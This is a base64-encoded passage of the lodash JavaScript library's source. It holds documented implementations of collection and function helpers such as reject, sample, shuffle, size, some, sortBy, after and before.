WVudHMgb2YgYGNvbGxlY3Rpb25gXG4gICAgICogdGhhdCBgcHJlZGljYXRlYCBkb2VzICoqbm90KiogcmV0dXJuIHRydXRoeSBmb3IuXG4gICAgICpcbiAgICAgKiBAc3RhdGljXG4gICAgICogQG1lbWJlck9mIF9cbiAgICAgKiBAc2luY2UgMC4xLjBcbiAgICAgKiBAY2F0ZWdvcnkgQ29sbGVjdGlvblxuICAgICAqIEBwYXJhbSB7QXJyYXl8T2JqZWN0fSBjb2xsZWN0aW9uIFRoZSBjb2xsZWN0aW9uIHRvIGl0ZXJhdGUgb3Zlci5cbiAgICAgKiBAcGFyYW0ge0Z1bmN0aW9ufSBbcHJlZGljYXRlPV8uaWRlbnRpdHldIFRoZSBmdW5jdGlvbiBpbnZva2VkIHBlciBpdGVyYXRpb24uXG4gICAgICogQHJldHVybnMge0FycmF5fSBSZXR1cm5zIHRoZSBuZXcgZmlsdGVyZWQgYXJyYXkuXG4gICAgICogQHNlZSBfLmZpbHRlclxuICAgICAqIEBleGFtcGxlXG4gICAgICpcbiAgICAgKiB2YXIgdXNlcnMgPSBbXG4gICAgICogICB7ICd1c2VyJzogJ2Jhcm5leScsICdhZ2UnOiAzNiwgJ2FjdGl2ZSc6IGZhbHNlIH0sXG4gICAgICogICB7ICd1c2VyJzogJ2ZyZWQnLCAgICdhZ2UnOiA0MCwgJ2FjdGl2ZSc6IHRydWUgfVxuICAgICAqIF07XG4gICAgICpcbiAgICAgKiBfLnJlamVjdCh1c2VycywgZnVuY3Rpb24obykgeyByZXR1cm4gIW8uYWN0aXZlOyB9KTtcbiAgICAgKiAvLyA9PiBvYmplY3RzIGZvciBbJ2ZyZWQnXVxuICAgICAqXG4gICAgICogLy8gVGhlIGBfLm1hdGNoZXNgIGl0ZXJhdGVlIHNob3J0aGFuZC5cbiAgICAgKiBfLnJlamVjdCh1c2VycywgeyAnYWdlJzogNDAsICdhY3RpdmUnOiB0cnVlIH0pO1xuICAgICAqIC8vID0+IG9iamVjdHMgZm9yIFsnYmFybmV5J11cbiAgICAgKlxuICAgICAqIC8vIFRoZSBgXy5tYXRjaGVzUHJvcGVydHlgIGl0ZXJhdGVlIHNob3J0aGFuZC5cbiAgICAgKiBfLnJlamVjdCh1c2VycywgWydhY3RpdmUnLCBmYWxzZV0pO1xuICAgICAqIC8vID0+IG9iamVjdHMgZm9yIFsnZnJlZCddXG4gICAgICpcbiAgICAgKiAvLyBUaGUgYF8ucHJvcGVydHlgIGl0ZXJhdGVlIHNob3J0aGFuZC5cbiAgICAgKiBfLnJlamVjdCh1c2VycywgJ2FjdGl2ZScpO1xuICAgICAqIC8vID0+IG9iamVjdHMgZm9yIFsnYmFybmV5J11cbiAgICAgKi9cbiAgICBmdW5jdGlvbiByZWplY3QoY29sbGVjdGlvbiwgcHJlZGljYXRlKSB7XG4gICAgICB2YXIgZnVuYyA9IGlzQXJyYXkoY29sbGVjdGlvbikgPyBhcnJheUZpbHRlciA6IGJhc2VGaWx0ZXI7XG4gICAgICByZXR1cm4gZnVuYyhjb2xsZWN0aW9uLCBuZWdhdGUoZ2V0SXRlcmF0ZWUocHJlZGljYXRlLCAzKSkpO1xuICAgIH1cblxuICAgIC8qKlxuICAgICAqIEdldHMgYSByYW5kb20gZWxlbWVudCBmcm9tIGBjb2xsZWN0aW9uYC5cbiAgICAgKlxuICAgICAqIEBzdGF0aWNcbiAgICAgKiBAbWVtYmVyT2YgX1xuICAgICAqIEBzaW5jZSAyLjAuMFxuICAgICAqIEBjYXRlZ29yeSBDb2xsZWN0aW9uXG4gICAgICogQHBhcmFtIHtBcnJheXxPYmplY3R9IGNvbGxlY3Rpb24gVGhlIGNvbGxlY3Rpb24gdG8gc2FtcGxlLlxuICAgICAqIEByZXR1cm5zIHsqfSBSZXR1cm5zIHRoZSByYW5kb20gZWxlbWVudC5cbiAgICAgKiBAZXhhbXBsZVxuICAgICAqXG4gICAgICogXy5zYW1wbGUoWzEsIDIsIDMsIDRdKTtcbiAgICAgKiAvLyA9PiAyXG4gICAgICovXG4gICAgZnVuY3Rpb24gc2FtcGxlKGNvbGxlY3Rpb24pIHtcbiAgICAgIHZhciBmdW5jID0gaXNBcnJheShjb2xsZWN0aW9uKSA/IGFycmF5U2FtcGxlIDogYmFzZVNhbXBsZTtcbiAgICAgIHJldHVybiBmdW5jKGNvbGxlY3Rpb24pO1xuICAgIH1cblxuICAgIC8qKlxuICAgICAqIEdldHMgYG5gIHJhbmRvbSBlbGVtZW50cyBhdCB1bmlxdWUga2V5cyBmcm9tIGBjb2xsZWN0aW9uYCB1cCB0byB0aGVcbiAgICAgKiBzaXplIG9mIGBjb2xsZWN0aW9uYC5cbiAgICAgKlxuICAgICAqIEBzdGF0aWNcbiAgICAgKiBAbWVtYmVyT2YgX1xuICAgICAqIEBzaW5jZSA0LjAuMFxuICAgICAqIEBjYXRlZ29yeSBDb2xsZWN0aW9uXG4gICAgICogQHBhcmFtIHtBcnJheXxPYmplY3R9IGNvbGxlY3Rpb24gVGhlIGNvbGxlY3Rpb24gdG8gc2FtcGxlLlxuICAgICAqIEBwYXJhbSB7bnVtYmVyfSBbbj0xXSBUaGUgbnVtYmVyIG9mIGVsZW1lbnRzIHRvIHNhbXBsZS5cbiAgICAgKiBAcGFyYW0tIHtPYmplY3R9IFtndWFyZF0gRW5hYmxlcyB1c2UgYXMgYW4gaXRlcmF0ZWUgZm9yIG1ldGhvZHMgbGlrZSBgXy5tYXBgLlxuICAgICAqIEByZXR1cm5zIHtBcnJheX0gUmV0dXJucyB0aGUgcmFuZG9tIGVsZW1lbnRzLlxuICAgICAqIEBleGFtcGxlXG4gICAgICpcbiAgICAgKiBfLnNhbXBsZVNpemUoWzEsIDIsIDNdLCAyKTtcbiAgICAgKiAvLyA9PiBbMywgMV1cbiAgICAgKlxuICAgICAqIF8uc2FtcGxlU2l6ZShbMSwgMiwgM10sIDQpO1xuICAgICAqIC8vID0+IFsyLCAzLCAxXVxuICAgICAqL1xuICAgIGZ1bmN0aW9uIHNhbXBsZVNpemUoY29sbGVjdGlvbiwgbiwgZ3VhcmQpIHtcbiAgICAgIGlmICgoZ3VhcmQgPyBpc0l0ZXJhdGVlQ2FsbChjb2xsZWN0aW9uLCBuLCBndWFyZCkgOiBuID09PSB1bmRlZmluZWQpKSB7XG4gICAgICAgIG4gPSAxO1xuICAgICAgfSBlbHNlIHtcbiAgICAgICAgbiA9IHRvSW50ZWdlcihuKTtcbiAgICAgIH1cbiAgICAgIHZhciBmdW5jID0gaXNBcnJheShjb2xsZWN0aW9uKSA/IGFycmF5U2FtcGxlU2l6ZSA6IGJhc2VTYW1wbGVTaXplO1xuICAgICAgcmV0dXJuIGZ1bmMoY29sbGVjdGlvbiwgbik7XG4gICAgfVxuXG4gICAgLyoqXG4gICAgICogQ3JlYXRlcyBhbiBhcnJheSBvZiBzaHVmZmxlZCB2YWx1ZXMsIHVzaW5nIGEgdmVyc2lvbiBvZiB0aGVcbiAgICAgKiBbRmlzaGVyLVlhdGVzIHNodWZmbGVdKGh0dHBzOi8vZW4ud2lraXBlZGlhLm9yZy93aWtpL0Zpc2hlci1ZYXRlc19zaHVmZmxlKS5cbiAgICAgKlxuICAgICAqIEBzdGF0aWNcbiAgICAgKiBAbWVtYmVyT2YgX1xuICAgICAqIEBzaW5jZSAwLjEuMFxuICAgICAqIEBjYXRlZ29yeSBDb2xsZWN0aW9uXG4gICAgICogQHBhcmFtIHtBcnJheXxPYmplY3R9IGNvbGxlY3Rpb24gVGhlIGNvbGxlY3Rpb24gdG8gc2h1ZmZsZS5cbiAgICAgKiBAcmV0dXJucyB7QXJyYXl9IFJldHVybnMgdGhlIG5ldyBzaHVmZmxlZCBhcnJheS5cbiAgICAgKiBAZXhhbXBsZVxuICAgICAqXG4gICAgICogXy5zaHVmZmxlKFsxLCAyLCAzLCA0XSk7XG4gICAgICogLy8gPT4gWzQsIDEsIDMsIDJdXG4gICAgICovXG4gICAgZnVuY3Rpb24gc2h1ZmZsZShjb2xsZWN0aW9uKSB7XG4gICAgICB2YXIgZnVuYyA9IGlzQXJyYXkoY29sbGVjdGlvbikgPyBhcnJheVNodWZmbGUgOiBiYXNlU2h1ZmZsZTtcbiAgICAgIHJldHVybiBmdW5jKGNvbGxlY3Rpb24pO1xuICAgIH1cblxuICAgIC8qKlxuICAgICAqIEdldHMgdGhlIHNpemUgb2YgYGNvbGxlY3Rpb25gIGJ5IHJldHVybmluZyBpdHMgbGVuZ3RoIGZvciBhcnJheS1saWtlXG4gICAgICogdmFsdWVzIG9yIHRoZSBudW1iZXIgb2Ygb3duIGVudW1lcmFibGUgc3RyaW5nIGtleWVkIHByb3BlcnRpZXMgZm9yIG9iamVjdHMuXG4gICAgICpcbiAgICAgKiBAc3RhdGljXG4gICAgICogQG1lbWJlck9mIF9cbiAgICAgKiBAc2luY2UgMC4xLjBcbiAgICAgKiBAY2F0ZWdvcnkgQ29sbGVjdGlvblxuICAgICAqIEBwYXJhbSB7QXJyYXl8T2JqZWN0fHN0cmluZ30gY29sbGVjdGlvbiBUaGUgY29sbGVjdGlvbiB0byBpbnNwZWN0LlxuICAgICAqIEByZXR1cm5zIHtudW1iZXJ9IFJldHVybnMgdGhlIGNvbGxlY3Rpb24gc2l6ZS5cbiAgICAgKiBAZXhhbXBsZVxuICAgICAqXG4gICAgICogXy5zaXplKFsxLCAyLCAzXSk7XG4gICAgICogLy8gPT4gM1xuICAgICAqXG4gICAgICogXy5zaXplKHsgJ2EnOiAxLCAnYic6IDIgfSk7XG4gICAgICogLy8gPT4gMlxuICAgICAqXG4gICAgICogXy5zaXplKCdwZWJibGVzJyk7XG4gICAgICogLy8gPT4gN1xuICAgICAqL1xuICAgIGZ1bmN0aW9uIHNpemUoY29sbGVjdGlvbikge1xuICAgICAgaWYgKGNvbGxlY3Rpb24gPT0gbnVsbCkge1xuICAgICAgICByZXR1cm4gMDtcbiAgICAgIH1cbiAgICAgIGlmIChpc0FycmF5TGlrZShjb2xsZWN0aW9uKSkge1xuICAgICAgICByZXR1cm4gaXNTdHJpbmcoY29sbGVjdGlvbikgPyBzdHJpbmdTaXplKGNvbGxlY3Rpb24pIDogY29sbGVjdGlvbi5sZW5ndGg7XG4gICAgICB9XG4gICAgICB2YXIgdGFnID0gZ2V0VGFnKGNvbGxlY3Rpb24pO1xuICAgICAgaWYgKHRhZyA9PSBtYXBUYWcgfHwgdGFnID09IHNldFRhZykge1xuICAgICAgICByZXR1cm4gY29sbGVjdGlvbi5zaXplO1xuICAgICAgfVxuICAgICAgcmV0dXJuIGJhc2VLZXlzKGNvbGxlY3Rpb24pLmxlbmd0aDtcbiAgICB9XG5cbiAgICAvKipcbiAgICAgKiBDaGVja3MgaWYgYHByZWRpY2F0ZWAgcmV0dXJucyB0cnV0aHkgZm9yICoqYW55KiogZWxlbWVudCBvZiBgY29sbGVjdGlvbmAuXG4gICAgICogSXRlcmF0aW9uIGlzIHN0b3BwZWQgb25jZSBgcHJlZGljYXRlYCByZXR1cm5zIHRydXRoeS4gVGhlIHByZWRpY2F0ZSBpc1xuICAgICAqIGludm9rZWQgd2l0aCB0aHJlZSBhcmd1bWVudHM6ICh2YWx1ZSwgaW5kZXh8a2V5LCBjb2xsZWN0aW9uKS5cbiAgICAgKlxuICAgICAqIEBzdGF0aWNcbiAgICAgKiBAbWVtYmVyT2YgX1xuICAgICAqIEBzaW5jZSAwLjEuMFxuICAgICAqIEBjYXRlZ29yeSBDb2xsZWN0aW9uXG4gICAgICogQHBhcmFtIHtBcnJheXxPYmplY3R9IGNvbGxlY3Rpb24gVGhlIGNvbGxlY3Rpb24gdG8gaXRlcmF0ZSBvdmVyLlxuICAgICAqIEBwYXJhbSB7RnVuY3Rpb259IFtwcmVkaWNhdGU9Xy5pZGVudGl0eV0gVGhlIGZ1bmN0aW9uIGludm9rZWQgcGVyIGl0ZXJhdGlvbi5cbiAgICAgKiBAcGFyYW0tIHtPYmplY3R9IFtndWFyZF0gRW5hYmxlcyB1c2UgYXMgYW4gaXRlcmF0ZWUgZm9yIG1ldGhvZHMgbGlrZSBgXy5tYXBgLlxuICAgICAqIEByZXR1cm5zIHtib29sZWFufSBSZXR1cm5zIGB0cnVlYCBpZiBhbnkgZWxlbWVudCBwYXNzZXMgdGhlIHByZWRpY2F0ZSBjaGVjayxcbiAgICAgKiAgZWxzZSBgZmFsc2VgLlxuICAgICAqIEBleGFtcGxlXG4gICAgICpcbiAgICAgKiBfLnNvbWUoW251bGwsIDAsICd5ZXMnLCBmYWxzZV0sIEJvb2xlYW4pO1xuICAgICAqIC8vID0+IHRydWVcbiAgICAgKlxuICAgICAqIHZhciB1c2VycyA9IFtcbiAgICAgKiAgIHsgJ3VzZXInOiAnYmFybmV5JywgJ2FjdGl2ZSc6IHRydWUgfSxcbiAgICAgKiAgIHsgJ3VzZXInOiAnZnJlZCcsICAgJ2FjdGl2ZSc6IGZhbHNlIH1cbiAgICAgKiBdO1xuICAgICAqXG4gICAgICogLy8gVGhlIGBfLm1hdGNoZXNgIGl0ZXJhdGVlIHNob3J0aGFuZC5cbiAgICAgKiBfLnNvbWUodXNlcnMsIHsgJ3VzZXInOiAnYmFybmV5JywgJ2FjdGl2ZSc6IGZhbHNlIH0pO1xuICAgICAqIC8vID0+IGZhbHNlXG4gICAgICpcbiAgICAgKiAvLyBUaGUgYF8ubWF0Y2hlc1Byb3BlcnR5YCBpdGVyYXRlZSBzaG9ydGhhbmQuXG4gICAgICogXy5zb21lKHVzZXJzLCBbJ2FjdGl2ZScsIGZhbHNlXSk7XG4gICAgICogLy8gPT4gdHJ1ZVxuICAgICAqXG4gICAgICogLy8gVGhlIGBfLnByb3BlcnR5YCBpdGVyYXRlZSBzaG9ydGhhbmQuXG4gICAgICogXy5zb21lKHVzZXJzLCAnYWN0aXZlJyk7XG4gICAgICogLy8gPT4gdHJ1ZVxuICAgICAqL1xuICAgIGZ1bmN0aW9uIHNvbWUoY29sbGVjdGlvbiwgcHJlZGljYXRlLCBndWFyZCkge1xuICAgICAgdmFyIGZ1bmMgPSBpc0FycmF5KGNvbGxlY3Rpb24pID8gYXJyYXlTb21lIDogYmFzZVNvbWU7XG4gICAgICBpZiAoZ3VhcmQgJiYgaXNJdGVyYXRlZUNhbGwoY29sbGVjdGlvbiwgcHJlZGljYXRlLCBndWFyZCkpIHtcbiAgICAgICAgcHJlZGljYXRlID0gdW5kZWZpbmVkO1xuICAgICAgfVxuICAgICAgcmV0dXJuIGZ1bmMoY29sbGVjdGlvbiwgZ2V0SXRlcmF0ZWUocHJlZGljYXRlLCAzKSk7XG4gICAgfVxuXG4gICAgLyoqXG4gICAgICogQ3JlYXRlcyBhbiBhcnJheSBvZiBlbGVtZW50cywgc29ydGVkIGluIGFzY2VuZGluZyBvcmRlciBieSB0aGUgcmVzdWx0cyBvZlxuICAgICAqIHJ1bm5pbmcgZWFjaCBlbGVtZW50IGluIGEgY29sbGVjdGlvbiB0aHJ1IGVhY2ggaXRlcmF0ZWUuIFRoaXMgbWV0aG9kXG4gICAgICogcGVyZm9ybXMgYSBzdGFibGUgc29ydCwgdGhhdCBpcywgaXQgcHJlc2VydmVzIHRoZSBvcmlnaW5hbCBzb3J0IG9yZGVyIG9mXG4gICAgICogZXF1YWwgZWxlbWVudHMuIFRoZSBpdGVyYXRlZXMgYXJlIGludm9rZWQgd2l0aCBvbmUgYXJndW1lbnQ6ICh2YWx1ZSkuXG4gICAgICpcbiAgICAgKiBAc3RhdGljXG4gICAgICogQG1lbWJlck9mIF9cbiAgICAgKiBAc2luY2UgMC4xLjBcbiAgICAgKiBAY2F0ZWdvcnkgQ29sbGVjdGlvblxuICAgICAqIEBwYXJhbSB7QXJyYXl8T2JqZWN0fSBjb2xsZWN0aW9uIFRoZSBjb2xsZWN0aW9uIHRvIGl0ZXJhdGUgb3Zlci5cbiAgICAgKiBAcGFyYW0gey4uLihGdW5jdGlvbnxGdW5jdGlvbltdKX0gW2l0ZXJhdGVlcz1bXy5pZGVudGl0eV1dXG4gICAgICogIFRoZSBpdGVyYXRlZXMgdG8gc29ydCBieS5cbiAgICAgKiBAcmV0dXJucyB7QXJyYXl9IFJldHVybnMgdGhlIG5ldyBzb3J0ZWQgYXJyYXkuXG4gICAgICogQGV4YW1wbGVcbiAgICAgKlxuICAgICAqIHZhciB1c2VycyA9IFtcbiAgICAgKiAgIHsgJ3VzZXInOiAnZnJlZCcsICAgJ2FnZSc6IDQ4IH0sXG4gICAgICogICB7ICd1c2VyJzogJ2Jhcm5leScsICdhZ2UnOiAzNiB9LFxuICAgICAqICAgeyAndXNlcic6ICdmcmVkJywgICAnYWdlJzogMzAgfSxcbiAgICAgKiAgIHsgJ3VzZXInOiAnYmFybmV5JywgJ2FnZSc6IDM0IH1cbiAgICAgKiBdO1xuICAgICAqXG4gICAgICogXy5zb3J0QnkodXNlcnMsIFtmdW5jdGlvbihvKSB7IHJldHVybiBvLnVzZXI7IH1dKTtcbiAgICAgKiAvLyA9PiBvYmplY3RzIGZvciBbWydiYXJuZXknLCAzNl0sIFsnYmFybmV5JywgMzRdLCBbJ2ZyZWQnLCA0OF0sIFsnZnJlZCcsIDMwXV1cbiAgICAgKlxuICAgICAqIF8uc29ydEJ5KHVzZXJzLCBbJ3VzZXInLCAnYWdlJ10pO1xuICAgICAqIC8vID0+IG9iamVjdHMgZm9yIFtbJ2Jhcm5leScsIDM0XSwgWydiYXJuZXknLCAzNl0sIFsnZnJlZCcsIDMwXSwgWydmcmVkJywgNDhdXVxuICAgICAqL1xuICAgIHZhciBzb3J0QnkgPSBiYXNlUmVzdChmdW5jdGlvbihjb2xsZWN0aW9uLCBpdGVyYXRlZXMpIHtcbiAgICAgIGlmIChjb2xsZWN0aW9uID09IG51bGwpIHtcbiAgICAgICAgcmV0dXJuIFtdO1xuICAgICAgfVxuICAgICAgdmFyIGxlbmd0aCA9IGl0ZXJhdGVlcy5sZW5ndGg7XG4gICAgICBpZiAobGVuZ3RoID4gMSAmJiBpc0l0ZXJhdGVlQ2FsbChjb2xsZWN0aW9uLCBpdGVyYXRlZXNbMF0sIGl0ZXJhdGVlc1sxXSkpIHtcbiAgICAgICAgaXRlcmF0ZWVzID0gW107XG4gICAgICB9IGVsc2UgaWYgKGxlbmd0aCA+IDIgJiYgaXNJdGVyYXRlZUNhbGwoaXRlcmF0ZWVzWzBdLCBpdGVyYXRlZXNbMV0sIGl0ZXJhdGVlc1syXSkpIHtcbiAgICAgICAgaXRlcmF0ZWVzID0gW2l0ZXJhdGVlc1swXV07XG4gICAgICB9XG4gICAgICByZXR1cm4gYmFzZU9yZGVyQnkoY29sbGVjdGlvbiwgYmFzZUZsYXR0ZW4oaXRlcmF0ZWVzLCAxKSwgW10pO1xuICAgIH0pO1xuXG4gICAgLyotLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0qL1xuXG4gICAgLyoqXG4gICAgICogR2V0cyB0aGUgdGltZXN0YW1wIG9mIHRoZSBudW1iZXIgb2YgbWlsbGlzZWNvbmRzIHRoYXQgaGF2ZSBlbGFwc2VkIHNpbmNlXG4gICAgICogdGhlIFVuaXggZXBvY2ggKDEgSmFudWFyeSAxOTcwIDAwOjAwOjAwIFVUQykuXG4gICAgICpcbiAgICAgKiBAc3RhdGljXG4gICAgICogQG1lbWJlck9mIF9cbiAgICAgKiBAc2luY2UgMi40LjBcbiAgICAgKiBAY2F0ZWdvcnkgRGF0ZVxuICAgICAqIEByZXR1cm5zIHtudW1iZXJ9IFJldHVybnMgdGhlIHRpbWVzdGFtcC5cbiAgICAgKiBAZXhhbXBsZVxuICAgICAqXG4gICAgICogXy5kZWZlcihmdW5jdGlvbihzdGFtcCkge1xuICAgICAqICAgY29uc29sZS5sb2coXy5ub3coKSAtIHN0YW1wKTtcbiAgICAgKiB9LCBfLm5vdygpKTtcbiAgICAgKiAvLyA9PiBMb2dzIHRoZSBudW1iZXIgb2YgbWlsbGlzZWNvbmRzIGl0IHRvb2sgZm9yIHRoZSBkZWZlcnJlZCBpbnZvY2F0aW9uLlxuICAgICAqL1xuICAgIHZhciBub3cgPSBjdHhOb3cgfHwgZnVuY3Rpb24oKSB7XG4gICAgICByZXR1cm4gcm9vdC5EYXRlLm5vdygpO1xuICAgIH07XG5cbiAgICAvKi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSovXG5cbiAgICAvKipcbiAgICAgKiBUaGUgb3Bwb3NpdGUgb2YgYF8uYmVmb3JlYDsgdGhpcyBtZXRob2QgY3JlYXRlcyBhIGZ1bmN0aW9uIHRoYXQgaW52b2tlc1xuICAgICAqIGBmdW5jYCBvbmNlIGl0J3MgY2FsbGVkIGBuYCBvciBtb3JlIHRpbWVzLlxuICAgICAqXG4gICAgICogQHN0YXRpY1xuICAgICAqIEBtZW1iZXJPZiBfXG4gICAgICogQHNpbmNlIDAuMS4wXG4gICAgICogQGNhdGVnb3J5IEZ1bmN0aW9uXG4gICAgICogQHBhcmFtIHtudW1iZXJ9IG4gVGhlIG51bWJlciBvZiBjYWxscyBiZWZvcmUgYGZ1bmNgIGlzIGludm9rZWQuXG4gICAgICogQHBhcmFtIHtGdW5jdGlvbn0gZnVuYyBUaGUgZnVuY3Rpb24gdG8gcmVzdHJpY3QuXG4gICAgICogQHJldHVybnMge0Z1bmN0aW9ufSBSZXR1cm5zIHRoZSBuZXcgcmVzdHJpY3RlZCBmdW5jdGlvbi5cbiAgICAgKiBAZXhhbXBsZVxuICAgICAqXG4gICAgICogdmFyIHNhdmVzID0gWydwcm9maWxlJywgJ3NldHRpbmdzJ107XG4gICAgICpcbiAgICAgKiB2YXIgZG9uZSA9IF8uYWZ0ZXIoc2F2ZXMubGVuZ3RoLCBmdW5jdGlvbigpIHtcbiAgICAgKiAgIGNvbnNvbGUubG9nKCdkb25lIHNhdmluZyEnKTtcbiAgICAgKiB9KTtcbiAgICAgKlxuICAgICAqIF8uZm9yRWFjaChzYXZlcywgZnVuY3Rpb24odHlwZSkge1xuICAgICAqICAgYXN5bmNTYXZlKHsgJ3R5cGUnOiB0eXBlLCAnY29tcGxldGUnOiBkb25lIH0pO1xuICAgICAqIH0pO1xuICAgICAqIC8vID0+IExvZ3MgJ2RvbmUgc2F2aW5nIScgYWZ0ZXIgdGhlIHR3byBhc3luYyBzYXZlcyBoYXZlIGNvbXBsZXRlZC5cbiAgICAgKi9cbiAgICBmdW5jdGlvbiBhZnRlcihuLCBmdW5jKSB7XG4gICAgICBpZiAodHlwZW9mIGZ1bmMgIT0gJ2Z1bmN0aW9uJykge1xuICAgICAgICB0aHJvdyBuZXcgVHlwZUVycm9yKEZVTkNfRVJST1JfVEVYVCk7XG4gICAgICB9XG4gICAgICBuID0gdG9JbnRlZ2VyKG4pO1xuICAgICAgcmV0dXJuIGZ1bmN0aW9uKCkge1xuICAgICAgICBpZiAoLS1uIDwgMSkge1xuICAgICAgICAgIHJldHVybiBmdW5jLmFwcGx5KHRoaXMsIGFyZ3VtZW50cyk7XG4gICAgICAgIH1cbiAgICAgIH07XG4gICAgfVxuXG4gICAgLyoqXG4gICAgICogQ3JlYXRlcyBhIGZ1bmN0aW9uIHRoYXQgaW52b2tlcyBgZnVuY2AsIHdpdGggdXAgdG8gYG5gIGFyZ3VtZW50cyxcbiAgICAgKiBpZ25vcmluZyBhbnkgYWRkaXRpb25hbCBhcmd1bWVudHMuXG4gICAgICpcbiAgICAgKiBAc3RhdGljXG4gICAgICogQG1lbWJlck9mIF9cbiAgICAgKiBAc2luY2UgMy4wLjBcbiAgICAgKiBAY2F0ZWdvcnkgRnVuY3Rpb25cbiAgICAgKiBAcGFyYW0ge0Z1bmN0aW9ufSBmdW5jIFRoZSBmdW5jdGlvbiB0byBjYXAgYXJndW1lbnRzIGZvci5cbiAgICAgKiBAcGFyYW0ge251bWJlcn0gW249ZnVuYy5sZW5ndGhdIFRoZSBhcml0eSBjYXAuXG4gICAgICogQHBhcmFtLSB7T2JqZWN0fSBbZ3VhcmRdIEVuYWJsZXMgdXNlIGFzIGFuIGl0ZXJhdGVlIGZvciBtZXRob2RzIGxpa2UgYF8ubWFwYC5cbiAgICAgKiBAcmV0dXJucyB7RnVuY3Rpb259IFJldHVybnMgdGhlIG5ldyBjYXBwZWQgZnVuY3Rpb24uXG4gICAgICogQGV4YW1wbGVcbiAgICAgKlxuICAgICAqIF8ubWFwKFsnNicsICc4JywgJzEwJ10sIF8uYXJ5KHBhcnNlSW50LCAxKSk7XG4gICAgICogLy8gPT4gWzYsIDgsIDEwXVxuICAgICAqL1xuICAgIGZ1bmN0aW9uIGFyeShmdW5jLCBuLCBndWFyZCkge1xuICAgICAgbiA9IGd1YXJkID8gdW5kZWZpbmVkIDogbjtcbiAgICAgIG4gPSAoZnVuYyAmJiBuID09IG51bGwpID8gZnVuYy5sZW5ndGggOiBuO1xuICAgICAgcmV0dXJuIGNyZWF0ZVdyYXAoZnVuYywgV1JBUF9BUllfRkxBRywgdW5kZWZpbmVkLCB1bmRlZmluZWQsIHVuZGVmaW5lZCwgdW5kZWZpbmVkLCBuKTtcbiAgICB9XG5cbiAgICAvKipcbiAgICAgKiBDcmVhdGVzIGEgZnVuY3Rpb24gdGhhdCBpbnZva2VzIGBmdW5jYCwgd2l0aCB0aGUgYHRoaXNgIGJpbmRpbmcgYW5kIGFyZ3VtZW50c1xuICAgICAqIG9mIHRoZSBjcmVhdGVkIGZ1bmN0aW9uLCB3aGlsZSBpdCdzIGNhbGxlZCBsZXNzIHRoYW4gYG5gIHRpbWVzLiBTdWJzZXF1ZW50XG4gICAgICogY2FsbHMgdG8gdGhlIGNyZWF0ZWQgZnVuY3Rpb24gcmV0dXJuIHRoZSByZXN1bHQgb2YgdGhlIGxhc3QgYGZ1bmNgIGludm9jYXRpb24uXG4gICAgICpcbiAgICAgKiBAc3RhdGljXG4gICAgICogQG1lbWJlck9mIF9cbiAgICAgKiBAc2luY2UgMy4wLjBcbiAgICAgKiBAY2F0ZWdvcnkgRnVuY3Rpb25cbiAgICAgKiBAcGFyYW0ge251bWJlcn0gbiBUaGUgbnVtYmVyIG9mIGNhbGxzIGF0IHdoaWNoIGBmdW5jYCBpcyBubyBsb25nZXIgaW52b2tlZC5cbiAgICAgKiBAcGFyYW0ge0Z1bmN0aW9ufSBmdW5jIFRoZSBmdW5jdGlvbiB0byByZXN0cmljdC5cbiAgICAgKiBAcmV0dXJucyB7RnVuY3Rpb259IFJldHVybnMgdGhlIG5ldyByZXN0cmljdGVkIGZ1bmN0aW9uLlxuICAgICAqIEBleGFtcGxlXG4gICAgICpcbiAgICAgKiBqUXVlcnkoZWxlbWVudCkub24oJ2NsaWNrJywgXy5iZWZvcmUoNSwgYWRkQ29udGFjdFRvTGlzdCkpO1xuICAgICAqIC8vID0+IEFsbG93cyBhZGRpbmcgdXAgdG8gNCBjb250YWN0cyB0byB0aGUgbGlzdC5cbiAgICAgKi9cbiAgICBmdW5jdGlvbiBiZWZvcmUobiwgZnVuYykge1xuICAgICAgdmFyIHJlc3VsdDtcbiAgICAgIGlmICh0eXBlb2YgZnVuYyAhPSAnZnVuY3Rpb24nKSB7XG4gICAgICAgIHRocm93IG5ldyBUeXBlRXJyb3IoRlVOQ19FUlJPUl9URVhUKTtcbiAgICAgIH1cbiAgICAgIG4gPSB0b0ludGVnZXIobik7XG4gICAgICByZXR1cm4gZnVuY3Rpb24oKSB7XG4gICAgICAgIGlmICgtLW4gPiAwKSB7XG4gICAgICAgICAgcmVzdWx0ID0gZnVuYy5hcHBseSh0aGlzLCBhcmd1bWVudHMpO1xuICAgICAgICB9XG4gICAgICAgIGlmIChuIDw9IDEpIHtcbiAgICAgICAgICBmdW5jID0gdW5kZWZpbmVkO1xuICAgICAgICB9XG4gICAgICAgIHJldHVybiByZXN1bHQ7XG4gICAgICB9O1xuICAgIH1cblxuICAgIC8qKlxuICAgICAqIENyZWF0ZXMgYSBmdW5jdGlvbiB0aGF0IGludm9rZXMgYGZ1bmNgIHdpdGggdGhlIGB0aGlzYCBiaW5kaW5nIG9mIGB0aGlzQXJnYFxuICAgICAqIGFuZCBgcGFydGlhbHNgIHByZXBlbmRlZCB0byB0aGUgYXJndW1lbnRzIGl0IHJlY2VpdmVzLlxuICAgICAqXG4gICAgICogVGhlIGBfLmJpbmQucGxhY2Vob2xkZXJgIHZhbHVlLCB3aGljaCBkZWZhdWx0cyB0byBgX2AgaW4gbW9ub2xpdGhpYyBidWlsZHMsXG4gICAgICogbWF5IGJlIHVzZWQgYXMgYSBwbGFjZWhvbGRlciBmb3IgcGFydGlhbGx5IGFwcGxpZWQgYXJndW1lbnRzLlxuICAgICAqXG4gICAgICogKipOb3RlOioqIFVubGlrZSBuYXRpdmUgYEZ1bmN0aW9uI2JpbmRgLCB0aGlzIG1ldGhvZCBkb2Vzbid0IHNldCB0aGUgXCJsZW5ndGhcIlxuICAgICAqIHByb3BlcnR5IG9mIGJvdW5kIGZ1bmN0aW9ucy5cbiAgICAgKlxuICAgICAqIEBzdGF0aWNcbiAgICAgKiBAbWVtYmVyT2YgX1xuICAgICAqIEBzaW5jZSAwLjEuMFxuICAgICAqIEBjYXRlZ29yeSBGdW5jdGlvblxuICAgICAqIEBwYXJhbSB7RnVuY3Rpb259IGZ1bmMgVGhlIGZ1bmN0aW9uIHRvIGJpbmQuXG4gICAgICogQHBhcmFtIHsqfSB0aGlzQXJnIFRoZSBgdGhpc2AgYmluZGluZyBvZiBgZnVuY2AuXG4gIC